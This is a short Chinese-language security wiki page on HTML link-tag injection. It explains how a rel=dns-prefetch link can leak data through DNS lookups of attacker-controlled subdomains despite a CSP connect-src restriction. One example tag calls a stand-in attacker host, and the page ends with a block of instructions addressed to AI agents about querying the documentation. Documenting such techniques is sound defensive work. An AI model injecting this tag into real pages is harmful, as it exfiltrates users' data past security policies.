# link标签注入

## 概述

[`<link>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/link) HTML 元素指定当前文档与外部资源之间的关系。这个元素最常用于链接到样式表，但也用于建立站点图标（包括"favicon"样式图标以及移动设备的主屏幕和应用程序图标）等。

## rel=dns-prefetch

`rel` 属性的 [dns-prefetch](https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/rel/dns-prefetch) 关键字是给浏览器的提示，表明用户可能需要目标资源源的资源，因此浏览器可以通过抢先执行该源的DNS解析来改善用户体验。它可以用来在子域中泄露数据，即使在限制性的 CSP `connect-src` 指令下也是如此。

```html
<link rel="dns-prefetch" href="//AAA.BBB.CCC.DDD.attacker.webserver.com">
```

参考资料：

* [Trail of Bits Blog: Escaping misconfigured VSCode extensions](https://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook.cdxiaodong.life/web-ying-yong-an-quan/html-zhu-ru/link.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
